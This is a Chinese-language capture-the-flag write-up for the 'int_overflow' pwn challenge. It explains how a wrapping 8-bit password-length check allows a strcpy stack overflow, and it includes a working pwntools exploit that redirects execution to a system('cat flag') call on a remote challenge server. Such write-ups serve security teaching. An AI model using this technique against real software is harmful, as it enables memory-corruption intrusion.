pwn int_overflow

32位程序,拖进ida看一下
pwn int_overflow_第1张图片
首先,我们要输入1进入login()

pwn int_overflow_第2张图片
输入username后再输入passwd,注意这里passwd允许我们输入的长度为0x199
再点进check_passwd
pwn int_overflow_第3张图片
这里用v3来保存我们输入的passwd的长度,但是,这个v3是unsigned int8型的,8个字节,只能存储不超过256的数,如果超过会重新从1开始计算,这样的话,对于1个字符和257个字符,v3的的值都是一样的,我们可以利用这点进行溢出
result=strcpy(&dest,s)将s复制到dest,dest在ebp-14h,我们就可以输入一个长度为259到264之间的passwd,使得v3大于3且小于8,并在strcpy时进行溢出
同时,这里有system(“cat flag”),地址是0x0804868b,这不就好起来了吗
pwn int_overflow_第4张图片

from pwn import *

sh=remote('111.198.29.45',31562)
#填充垃圾字符,返回what is this 地址,最后保持passwd长度在259和264间
payload='a'*0x14+'a'*4+p32(0x0804868b)+(256-0x18-4)*'a'+'bbbb'
sh.sendlineafter("Your choice:","1")
sh.sendlineafter("Please input your username:","james")
sh.sendlineafter("Please input your passwd:",payload)
sh.interactive()

拿到flag:cyberpeace{8ce8a8dbf55662d1c2ef0b0fa55c8ada}

pwn int_overflow_第5张图片

你可能感兴趣的:(pwn int_overflow)